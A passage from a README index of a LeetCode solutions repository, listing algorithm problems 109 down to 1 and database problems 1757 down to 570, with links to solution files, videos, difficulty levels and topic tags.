[Solution](../master/src/main/java/com/fishercoder/solutions/_109.java) | | Medium | DFS, Recursion | 108 |[Convert Sorted Array to Binary Search Tree](https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_108.java) | [:tv:](https://youtu.be/VVSnM5DGvjg) | Easy | Tree | 107 |[Binary Tree Level Order Traversal II](https://leetcode.com/problems/binary-tree-level-order-traversal-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_107.java) | | Easy | BFS | 106 |[Construct Binary Tree from Inorder and Postorder Traversal](https://leetcode.com/problems/construct-binary-tree-from-inorder-and-postorder-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_106.java) | | Medium | Recursion, Tree | 105 |[Construct Binary Tree from Preorder and Inorder Traversal](https://leetcode.com/problems/construct-binary-tree-from-preorder-and-inorder-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_105.java) | | Medium | Recursion, Tree | 104 |[Maximum Depth of Binary Tree](https://leetcode.com/problems/maximum-depth-of-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_104.java) | [:tv:](https://youtu.be/dvmoHr5cN80) | Easy | DFS | 103 |[Binary Tree Zigzag Level Order Traversal](https://leetcode.com/problems/binary-tree-zigzag-level-order-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_103.java) | | Medium | BFS,DFS | 102 |[Binary Tree Level Order Traversal](https://leetcode.com/problems/binary-tree-level-order-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_102.java) | [:tv:](https://youtu.be/sFDNL6r5aDM) | Medium | BFS | 101 |[Symmetric Tree](https://leetcode.com/problems/symmetric-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_101.java) | [:tv:](https://www.youtube.com/watch?v=F85boSPtfKg) | Easy | DFS | 100 |[Same Tree](https://leetcode.com/problems/same-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_100.java) | [:tv:](https://www.youtube.com/watch?v=2Pe6e0KbgFI) | Easy | DFS | 99 |[Recover Binary Search Tree](https://leetcode.com/problems/recover-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_99.java) | | Hard | | 98 |[Validate Binary Search Tree](https://leetcode.com/problems/validate-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_98.java) | [:tv:](https://youtu.be/kR5AxWHa9nc) | Medium | DFS/Recursion | 97 |[Interleaving String](https://leetcode.com/problems/interleaving-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_97.java) | | Hard | DP | 96 |[Unique Binary Search Trees](https://leetcode.com/problems/unique-binary-search-trees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_96.java) | | Medium | Recursion, DP | 95 |[Unique Binary Search Trees II](https://leetcode.com/problems/unique-binary-search-trees-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_95.java) | | Medium | Recursion | 94 |[Binary Tree Inorder Traversal](https://leetcode.com/problems/binary-tree-inorder-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_94.java) | [:tv:](https://youtu.be/o_T8MswDI_Y) [:tv:](https://youtu.be/QxFOR8sQuB4) | Medium | Binary Tree | 93 |[Restore IP Addresses](https://leetcode.com/problems/restore-ip-addresses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_93.java) | | Medium | Backtracking | 92 |[Reverse Linked List II](https://leetcode.com/problems/reverse-linked-list-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_92.java) | | Medium | 91 |[Decode Ways](https://leetcode.com/problems/decode-ways/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_91.java) | | Medium | DP | 90 |[Subsets II](https://leetcode.com/problems/subsets-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_90.java) || Medium | Backtracking | 89 |[Gray Code](https://leetcode.com/problems/gray-code/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_89.java) || Medium | Bit Manipulation | 88 |[Merge Sorted Array](https://leetcode.com/problems/merge-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_88.java) || Easy | | 87 |[Scramble String](https://leetcode.com/problems/scramble-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_87.java) || Hard | Recursion | 86 |[Partition List](https://leetcode.com/problems/partition-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_86.java) || Medium | Linked List | 85 |[Maximal Rectangle](https://leetcode.com/problems/maximal-rectangle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_85.java) || Hard | DP | 84 |[Largest Rectangle in Histogram](https://leetcode.com/problems/largest-rectangle-in-histogram/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_84.java) || Hard | Array, Stack | 83 |[Remove Duplicates from Sorted List](https://leetcode.com/problems/remove-duplicates-from-sorted-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_83.java) || Easy | Linked List | 82 |[Remove Duplicates from Sorted List II](https://leetcode.com/problems/remove-duplicates-from-sorted-list-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_82.java) || Medium | Linked List | 81 |[Search in Rotated Sorted Array II](https://leetcode.com/problems/search-in-rotated-sorted-array-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_81.java) || Medium | Binary Search | 80 |[Remove Duplicates from Sorted Array II](https://leetcode.com/problems/remove-duplicates-from-sorted-array-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_80.java) || Medium | | 79 |[Word Search](https://leetcode.com/problems/word-search/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_79.java) | | Medium | Backtracking, DFS | 78 |[Subsets](https://leetcode.com/problems/subsets/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_78.java) || Medium | Backtracking | 77 |[Combinations](https://leetcode.com/problems/combinations/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_77.java) || Medium | Backtracking | 76 |[Minimum Window Substring](https://leetcode.com/problems/minimum-window-substring/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_76.java) || Hard | Two Pointers | 75 |[Sort Colors](https://leetcode.com/problems/sort-colors/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_75.java) || Medium | Two Pointers | 74 |[Search a 2D Matrix](https://leetcode.com/problems/search-a-2d-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_74.java) || Medium | Binary Search | 73 |[Set Matrix Zeroes](https://leetcode.com/problems/set-matrix-zeroes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_73.java) || Medium | | 72 |[Edit Distance](https://leetcode.com/problems/edit-distance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_72.java) || Hard | | 71 |[Simplify Path](https://leetcode.com/problems/simplify-path/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_71.java) || Medium | Stack | 70 |[Climbing Stairs](https://leetcode.com/problems/climbing-stairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_70.java) | [:tv:](https://youtu.be/ZMNRb9TYiQM) | Easy | DP | 69 |[Sqrt(x)](https://leetcode.com/problems/sqrtx/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_69.java) || Easy | | 68 |[Text Justification](https://leetcode.com/problems/text-justification/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_68.java) || Hard | | 67 |[Add Binary](https://leetcode.com/problems/add-binary/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_67.java) || Easy | | 66 |[Plus One](https://leetcode.com/problems/plus-one/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_66.java) | [:tv:](https://youtu.be/HKjt0f1N0GA) | Easy | | 65 |[Valid Number](https://leetcode.com/problems/valid-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_65.java) || Hard | | 64 |[Minimum Path Sum](https://leetcode.com/problems/minimum-path-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_64.java) || Medium | DP | 63 |[Unique Paths II](https://leetcode.com/problems/unique-paths-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_63.java) || Medium | DP | 62 |[Unique Paths](https://leetcode.com/problems/unique-paths/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_62.java) || Medium | DP | 61 |[Rotate List](https://leetcode.com/problems/rotate-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_61.java) || Medium | Linked List | 60 |[Permutation Sequence](https://leetcode.com/problems/permutation-sequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_60.java) || Medium | Math, Backtracking | 59 |[Spiral Matrix II](https://leetcode.com/problems/spiral-matrix-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_59.java) | [:tv:](https://www.youtube.com/watch?v=Sv9DK2C4rtc) | Medium | | 58 |[Length of Last Word](https://leetcode.com/problems/length-of-last-word/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_58.java) || Easy | | 57 |[Insert Intervals](https://leetcode.com/problems/insert-interval/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_57.java) | [:tv:](https://youtu.be/gDVb3R4onIM) | Medium | Array, Sort | 56 |[Merge Intervals](https://leetcode.com/problems/merge-intervals/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_56.java) || Medium | Array, Sort | 55 |[Jump Game](https://leetcode.com/problems/jump-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_55.java) || Medium | Greedy | 54 |[Spiral Matrix](https://leetcode.com/problems/spiral-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_54.java) | [:tv:](https://www.youtube.com/watch?v=uYgoo8BdUAA) | Medium | Array | 53 |[Maximum Subarray](https://leetcode.com/problems/maximum-subarray/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_53.java) || Easy | Array | 52 |[N-Queens II](https://leetcode.com/problems/n-queens-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_52.java) || Hard | Backtracking | 51 |[N-Queens](https://leetcode.com/problems/n-queens/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_51.java) || Hard | | 50 |[Pow(x, n)](https://leetcode.com/problems/powx-n/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_50.java) || Medium | | 49 |[Group Anagrams](https://leetcode.com/problems/group-anagrams/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_49.java) || Medium | HashMap | 48 |[Rotate Image](https://leetcode.com/problems/rotate-image/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_48.java) | [:tv:](https://youtu.be/gCciKhaK2v8) | Medium | Array | 47 |[Permutations II](https://leetcode.com/problems/permutations-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_47.java) || Medium | Backtracking | 46 |[Permutations](https://leetcode.com/problems/permutations/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_46.java) | | Medium | Backtracking | 45 |[Jump Game II](https://leetcode.com/problems/jump-game-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_45.java) || Hard | Array, Greedy | 44 |[Wildcard Matching](https://leetcode.com/problems/wildcard-matching/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_44.java) || Hard | Backtracking, DP, Greedy, String | 43 |[Multiply Strings](https://leetcode.com/problems/multiply-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_43.java) || Medium | Array, String | 42 |[Trapping Rain Water](https://leetcode.com/problems/trapping-rain-water/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_42.java) || Hard | | 41 |[First Missing Positive](https://leetcode.com/problems/first-missing-positive/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_41.java) || Hard | Array | 40 |[Combination Sum II](https://leetcode.com/problems/combination-sum-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_40.java) || Medium | Backtracking | 39 |[Combination Sum](https://leetcode.com/problems/combination-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_39.java) || Medium | Backtracking | 38 |[Count and Say](https://leetcode.com/problems/count-and-say/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_38.java) || Easy | Recursion, LinkedList | 37 |[Sudoku Solver](https://leetcode.com/problems/sudoku-solver/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_37.java) || Hard | | 36 |[Valid Sudoku](https://leetcode.com/problems/valid-sudoku/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_36.java), [Javascript](./src/javascript/_36.js) || Medium | | 35 |[Search Insert Position](https://leetcode.com/problems/search-insert-position/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_35.java) || Easy | Array | 34 |[Search for a Range](https://leetcode.com/problems/search-for-a-range/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_34.java) || Medium | Array, Binary Search | 33 |[Search in Rotated Sorted Array](https://leetcode.com/problems/search-in-rotated-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_33.java) || Medium | Binary Search | 32 |[Longest Valid Parentheses](https://leetcode.com/problems/longest-valid-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_32.java) || Hard | Stack, DP | 31 |[Next Permutation](https://leetcode.com/problems/parents-permutation)| [Java](../master/src/main/java/com/fishercoder/solutions/_31.java), [C++](../master/cpp/_31.cpp) || Medium | Array | 30 |[Substring with Concatenation of All Words](https://leetcode.com/problems/substring-with-concatenation-of-all-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_30.java) || Hard | HashMap | 29 |[Divide Two Integers](https://leetcode.com/problems/divide-two-integers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_29.java) || Medium | | 28 |[Implement strStr()](https://leetcode.com/problems/implement-strstr/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_28.java) || Easy | String | 27 |[Remove Element](https://leetcode.com/problems/remove-element/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_27.java) | | Easy | | 26 |[Remove Duplicates from Sorted Array](https://leetcode.com/problems/remove-duplicates-from-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_26.java) | [:tv:](https://youtu.be/nRKZC2JF7LU) | Easy | Array | 25 |[Reverse Nodes in k-Group](https://leetcode.com/problems/reverse-nodes-in-k-group/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_25.java) | | Hard | Recursion, LinkedList | 24 |[Swap Nodes in Pairs](https://leetcode.com/problems/swap-nodes-in-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_24.java) || Medium | Recursion, LinkedList | 23 |[Merge k Sorted Lists](https://leetcode.com/problems/merge-k-sorted-lists/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_23.java) | [:tv:](https://www.youtube.com/watch?v=Llse1tImXQA) | Hard | Heap | 22 |[Generate Parentheses](https://leetcode.com/problems/generate-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_22.java) || Medium | Backtracking | 21 |[Merge Two Sorted Lists](https://leetcode.com/problems/merge-two-sorted-lists/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_21.java) | [:tv:](https://youtu.be/N8WTaSSivEI) | Easy | Recursion | 20 |[Valid Parentheses](https://leetcode.com/problems/valid-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_20.java) | [:tv:](https://www.youtube.com/watch?v=eBbg5pnq5Zg) | Easy | Stack | 19 |[Remove Nth Node From End of List](https://leetcode.com/problems/remove-nth-node-from-end-of-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_19.java) | [:tv:](https://youtu.be/Kka8VgyFZfc) | Medium | Linked List | 18 |[4 Sum](https://leetcode.com/problems/4sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_18.java) || Medium | Two Pointers | 17 |[Letter Combinations of a Phone Number](https://leetcode.com/problems/letter-combinations-of-a-phone-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_17.java) || Medium | Backtracking | 16 |[3Sum Closest](https://leetcode.com/problems/3sum-closest/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_16.java) || Medium | Two Pointers | 15 |[3Sum](https://leetcode.com/problems/3sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_15.java), [C++](../master/cpp/_15.cpp) | [:tv:](https://www.youtube.com/watch?v=jeim_j8VdiM) | Medium | Two Pointers, Binary Search | 14 |[Longest Common Prefix](https://leetcode.com/problems/longest-common-prefix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_14.java) | [:tv:](https://www.youtube.com/watch?v=K1ps6d7YCy4) | Easy | 13 |[Roman to Integer](https://leetcode.com/problems/roman-to-integer)| [Solution](../master/src/main/java/com/fishercoder/solutions/_13.java) | | Easy | Math, String | 12 |[Integer to Roman](https://leetcode.com/problems/integer-to-roman/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_12.java) || Medium | Math, String | 11 |[Container With Most Water](https://leetcode.com/problems/container-with-most-water/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_11.java) || Medium | | 10 |[Regular Expression Matching](https://leetcode.com/problems/regular-expression-matching/)| [Java](../master/src/main/java/com/fishercoder/solutions/_10.java), [Javascript](../master/javascript/_10.js) || Hard | DP | 9 |[Palindrome Number](https://leetcode.com/problems/palindrome-number/)| [Java](../master/src/main/java/com/fishercoder/solutions/_9.java), [C++](../master/cpp/_9.cpp) | | Easy | 8 |[String to Integer (atoi)](https://leetcode.com/problems/string-to-integer-atoi/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_8.java) | | Medium | 7 |[Reverse Integer](https://leetcode.com/problems/reverse-integer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_7.java), [C++](../master/cpp/_7.cpp) | [:tv:](https://youtu.be/tm1Yrb_SfBM) | Easy | | 6 |[ZigZag Conversion](https://leetcode.com/problems/zigzag-conversion/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_6.java) | | Easy | | 5 |[Longest Palindromic Substring](https://leetcode.com/problems/longest-palindromic-substring/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_5.java) | | Medium | | 4 |[Median of Two Sorted Arrays](https://leetcode.com/problems/median-of-two-sorted-arrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_4.java), [C++](../master/cpp/_4.cpp) | | Hard | Divide and Conquer | 3 |[Longest Substring Without Repeating Characters](https://leetcode.com/problems/longest-substring-without-repeating-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_3.java), [C++](../master/cpp/_3.cpp) | | Medium | HashMap, Sliding Window | 2 |[Add Two Numbers](https://leetcode.com/problems/add-two-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_2.java) | | Medium | LinkedList | 1 |[Two Sum](https://leetcode.com/problems/two-sum/)| [Java](../master/src/main/java/com/fishercoder/solutions/_1.java), [C++](../master/cpp/_1.cpp), [Javascript](../master/javascript/_1.js) | [:tv:](https://www.youtube.com/watch?v=kPXOr6pW8KM&t=) | Easy | HashMap ## Database | # | Title | Solutions | Video | Difficulty | Tag |-----|----------------|---------------|---------------|---------------|------------- |1757|[Recyclable and Low Fat Products](https://leetcode.com/problems/recyclable-and-low-fat-products/)|[Solution](../master/database/_1757.sql) || Easy | |1729|[Find Followers Count](https://leetcode.com/problems/find-followers-count/)|[Solution](../master/database/_1729.sql) || Easy | |1709|[Biggest Window Between Visits](https://leetcode.com/problems/biggest-window-between-visits/)|[Solution](../master/database/_1709.sql) || Medium | |1693|[Daily Leads and Partners](https://leetcode.com/problems/daily-leads-and-partners/)|[Solution](../master/database/_1693.sql) || Easy | |1683|[Invalid Tweets](https://leetcode.com/problems/invalid-tweets/)|[Solution](../master/database/_1683.sql) || Easy | |1677|[Product's Worth Over Invoices](https://leetcode.com/problems/products-worth-over-invoices/)|[Solution](../master/database/_1677.sql) || Easy | |1667|[Fix Names in a Table](https://leetcode.com/problems/fix-names-in-a-table/)|[Solution](../master/database/_1667.sql) || Easy | |1661|[Average Time of Process per Machine](https://leetcode.com/problems/average-time-of-process-per-machine/)|[Solution](../master/database/_1661.sql) || Easy | |1633|[Percentage of Users Attended a Contest](https://leetcode.com/problems/percentage-of-users-attended-a-contest/)|[Solution](../master/database/_1633.sql) || Easy | |1623|[All Valid Triplets That Can Represent a Country](https://leetcode.com/problems/all-valid-triplets-that-can-represent-a-country/)|[Solution](../master/database/_1623.sql) || Easy | |1607|[Sellers With No Sales](https://leetcode.com/problems/sellers-with-no-sales/)|[Solution](../master/database/_1607.sql) || Easy | |1596|[The Most Frequently Ordered Products for Each Customer](https://leetcode.com/problems/the-most-frequently-ordered-products-for-each-customer/)|[Solution](../master/database/_1596.sql) || Medium | |1571|[Warehouse Manager](https://leetcode.com/problems/warehouse-manager/)|[Solution](../master/database/_1571.sql) || Easy | |1587|[Bank Account Summary II](https://leetcode.com/problems/bank-account-summary-ii/)|[Solution](../master/database/_1587.sql) || Easy | |1581|[Customer Who Visited but Did Not Make Any Transactions](https://leetcode.com/problems/customer-who-visited-but-did-not-make-any-transactions/)|[Solution](../master/database/_1581.sql) || Easy | |1565|[Unique Orders and Customers Per Month](https://leetcode.com/problems/unique-orders-and-customers-per-month/)|[Solution](../master/database/_1565.sql) || Easy | |1543|[Fix Product Name Format](https://leetcode.com/problems/fix-product-name-format/)|[Solution](../master/database/_1543.sql) || Easy | |1527|[Patients With a Condition](https://leetcode.com/problems/patients-with-a-condition/)|[Solution](../master/database/_1527.sql) || Easy | |1517|[Find Users With Valid E-Mails](https://leetcode.com/problems/find-users-with-valid-e-mails/)|[Solution](../master/database/_1517.sql) || Easy | |1511|[Customer Order Frequency](https://leetcode.com/problems/customer-order-frequency/)|[Solution](../master/database/_1511.sql) || Easy | |1495|[Friendly Movies Streamed Last Month](https://leetcode.com/problems/friendly-movies-streamed-last-month/)|[Solution](../master/database/_1495.sql) || Easy | |1435|[Create a Session Bar Chart](https://leetcode.com/problems/create-a-session-bar-chart/)|[Solution](../master/database/_1435.sql) || Easy | |1484|[Group Sold Products By The Date](https://leetcode.com/problems/group-sold-products-by-the-date/)|[Solution](../master/database/_1484.sql) || Easy | |1445|[Apples & Oranges](https://leetcode.com/problems/apples-oranges/)|[Solution](../master/database/_1445.sql) || Medium | |1407|[Top Travellers](https://leetcode.com/problems/top-travellers/)|[Solution](../master/database/_1407.sql) || Easy | |1393|[Capital Gain/Loss](https://leetcode.com/problems/capital-gainloss/)|[Solution](../master/database/_1393.sql) || Easy | |1384|[Total Sales Amount by Year](https://leetcode.com/problems/total-sales-amount-by-year/)|[Solution](../master/database/_1384.sql) || Hard | |1378|[Replace Employee ID With The Unique Identifier](https://leetcode.com/problems/replace-employee-id-with-the-unique-identifier/)|[Solution](../master/database/_1378.sql) || Easy | |1371|[The Number of Employees Which Report to Each Employee](https://leetcode.com/problems/the-number-of-employees-which-report-to-each-employee/)|[Solution](../master/database/_1371.sql) || Easy | |1369|[Get the Second Most Recent Activity](https://leetcode.com/problems/get-the-second-most-recent-activity/)|[Solution](../master/database/_1369.sql) || Hard | |1364|[Number of Trusted Contacts of a Customer](https://leetcode.com/problems/number-of-trusted-contacts-of-a-customer/)|[Solution](../master/database/_1364.sql) || Medium | |1355|[Activity Participants](https://leetcode.com/problems/activity-participants/)|[Solution](../master/database/_1355.sql) || Medium | |1350|[Students With Invalid Departments](https://leetcode.com/problems/students-with-invalid-departments/)|[Solution](../master/database/_1350.sql) || Easy | |1341|[Movie Rating](https://leetcode.com/problems/movie-rating/)|[Solution](../master/database/_1341.sql) || Medium | |1327|[List the Products Ordered in a Period](https://leetcode.com/problems/list-the-products-ordered-in-a-period/)|[Solution](../master/database/_1327.sql) || Easy | |1322|[Ads Performance](https://leetcode.com/problems/ads-performance/)|[Solution](../master/database/_1322.sql) || Easy | |1308|[Running Total for Different Genders](https://leetcode.com/problems/running-total-for-different-genders/)|[Solution](../master/database/_1308.sql) || Medium | |1303|[Find the Team Size](https://leetcode.com/problems/find-the-team-size/)|[Solution](../master/database/_1303.sql) || Easy | |1294|[Weather Type in Each Country](https://leetcode.com/problems/weather-type-in-each-country/)|[Solution](../master/database/_1294.sql) | | Easy | |1285|[Find the Start and End Number of Continuous Ranges](https://leetcode.com/problems/find-the-start-and-end-number-of-continuous-ranges/)|[Solution](../master/database/_1285.sql) || Medium | |1280|[Students and Examinations](https://leetcode.com/problems/students-and-examinations/)|[Solution](../master/database/_1280.sql) | [:tv:](https://www.youtube.com/watch?v=ThbkV4Fs7iE)| Easy | |1270|[All People Report to the Given Manager](https://leetcode.com/problems/all-people-report-to-the-given-manager/)|[Solution](../master/database/_1270.sql) || Medium | |1251|[Average Selling Price](https://leetcode.com/problems/average-selling-price/)|[Solution](../master/database/_1251.sql) | | Easy | |1241|[Number of Comments per Post](https://leetcode.com/problems/number-of-comments-per-post/)|[Solution](../master/database/_1241.sql) | | Easy | |1211|[Queries Quality and Percentage](https://leetcode.com/problems/queries-quality-and-percentage/)|[Solution](../master/database/_1211.sql) | | Easy | |1179|[Reformat Department Table](https://leetcode.com/problems/reformat-department-table/)|[Solution](../master/database/_1179.sql) | | Easy | |1173|[Immediate Food Delivery I](https://leetcode.com/problems/immediate-food-delivery-i/)|[Solution](../master/database/_1173.sql) | | Easy | |1148|[Article Views I](https://leetcode.com/problems/article-views-i/)|[Solution](../master/database/_1148.sql) | | Easy | |1142|[User Activity for the Past 30 Days II](https://leetcode.com/problems/user-activity-for-the-past-30-days-ii/)|[Solution](../master/database/_1142.sql) | | Easy | |1141|[User Activity for the Past 30 Days I](https://leetcode.com/problems/user-activity-for-the-past-30-days-i/)|[Solution](../master/database/_1141.sql) | | Easy | |1113|[Reported Posts](https://leetcode.com/problems/reported-posts/)|[Solution](../master/database/_1113.sql) | | Easy | |1084|[Sales Analysis III](https://leetcode.com/problems/sales-analysis-iii/)|[Solution](../master/database/_1084.sql) | | Easy | |1083|[Sales Analysis II](https://leetcode.com/problems/sales-analysis-ii/)|[Solution](../master/database/_1083.sql) | | Easy | |1082|[Sales Analysis I](https://leetcode.com/problems/sales-analysis-i/)|[Solution](../master/database/_1082.sql) | | Easy | |1076|[Project Employees II](https://leetcode.com/problems/project-employees-ii/)|[Solution](../master/database/_1076.sql) | | Easy | |1075|[Project Employees I](https://leetcode.com/problems/project-employees-i/)|[Solution](../master/database/_1075.sql) | | Easy | |1069|[Product Sales Analysis II](https://leetcode.com/problems/product-sales-analysis-ii/)|[Solution](../master/database/_1069.sql) | | Easy | |1068|[Product Sales Analysis I](https://leetcode.com/problems/product-sales-analysis-i/)|[Solution](../master/database/_1068.sql) | | Easy | |1050|[Actors and Directors Who Cooperated At Least Three Times](https://leetcode.com/problems/actors-and-directors-who-cooperated-at-least-three-times/)|[Solution](../master/database/_1050.sql) || Easy | |627|[Swap Salary](https://leetcode.com/problems/swap-salary/)|[Solution](../master/database/_627.sql) | | Easy | |626|[Exchange Seats](https://leetcode.com/problems/exchange-seats/)|[Solution](../master/database/_626.sql) | | Medium | |620|[Not Boring Movies](https://leetcode.com/problems/not-boring-movies/)|[Solution](../master/database/_620.sql) | | Easy | |619|[Biggest Single Number](https://leetcode.com/problems/biggest-single-number/)|[Solution](../master/database/_619.sql) | | Easy | |618|[Students Report By Geography](https://leetcode.com/problems/students-report-by-geography/)|[Solution](../master/database/_618.sql) | | Hard | Session Variables |615|[Average Salary: Departments VS Company](https://leetcode.com/problems/average-salary-departments-vs-company/)|[Solution](../master/database/_615.sql) | | Hard| |614|[Second Degree Follower](https://leetcode.com/problems/second-degree-follower/)|[Solution](../master/database/_614.sql) | | Medium | Inner Join |613|[Shortest Distance in a Line](https://leetcode.com/problems/shortest-distance-in-a-line/)|[Solution](../master/database/_613.sql) || Easy| |612|[Shortest Distance in a Plane](https://leetcode.com/problems/shortest-distance-in-a-plane/)|[Solution](../master/database/_612.sql) || Medium| |610|[Triangle Judgement](https://leetcode.com/problems/triangle-judgement/)|[Solution](../master/src/main/java/com/fishercoder/solutions/_610.java) | | Easy | |608|[Tree Node](https://leetcode.com/problems/tree-node/)|[Solution](../master/database/_608.sql) | | Medium | Union |607|[Sales Person](https://leetcode.com/problems/sales-person/)|[Solution](../master/database/_607.sql) | | Easy | |603|[Consecutive Available Seats](https://leetcode.com/problems/sales-person/)|[Solution](../master/database/_603.sql) | | Easy | |602|[Friend Requests II: Who Has the Most Friends](https://leetcode.com/problems/friend-requests-ii-who-has-the-most-friends/)|[Solution](../master/database/_602.sql) | | Medium | |601|[Human Traffic of Stadium](https://leetcode.com/problems/human-traffic-of-stadium/)|[Solution](../master/database/_601.sql) | | Hard | |597|[Friend Requests I: Overall Acceptance Rate](https://leetcode.com/problems/friend-requests-i-overall-acceptance-rate/)|[Solution](../master/database/_597.sql) | | Easy | |596|[Classes More Than 5 Students](https://leetcode.com/problems/classes-more-than-5-students/)|[Solution](../master/database/_596.sql) || Easy | |595|[Big Countries](https://leetcode.com/problems/big-countries/)|[Solution](../master/database/_595.sql) | | Easy | |586|[Customer Placing the Largest Number of Orders](https://leetcode.com/problems/customer-placing-the-largest-number-of-orders/)|[Solution](../master/database/_586.sql) | | Easy| |585|[Investments in 2016](https://leetcode.com/problems/investments-in-2016/)|[Solution](../master/database/_585.java) || Medium| |584|[Find Customer Referee](https://leetcode.com/problems/find-customer-referee/)|[Solution](../master/database/_584.java) || Easy| |580|[Count Student Number in Departments](https://leetcode.com/problems/count-student-number-in-departments/)|[Solution](../master/database/_580.sql) | |Medium | Left Join |578|[Get Highest Answer Rate Question](https://leetcode.com/problems/get-highest-answer-rate-question/)|[Solution](../master/database/_578.sql) || Medium | |577|[Employee Bonus](https://leetcode.com/problems/employee-bonus/)|[Solution](../master/database/_577.sql) || Easy | |574|[Winning Candidate](https://leetcode.com/problems/winning-candidate/)|[Solution](../master/database/_574.sql) || Medium | |571|[Find Median Given Frequency of Numbers](https://leetcode.com/problems/find-median-given-frequency-of-numbers/)|[Solution](../master/database/_571.sql) || Hard | |570|[Managers with at Least 5 Direct 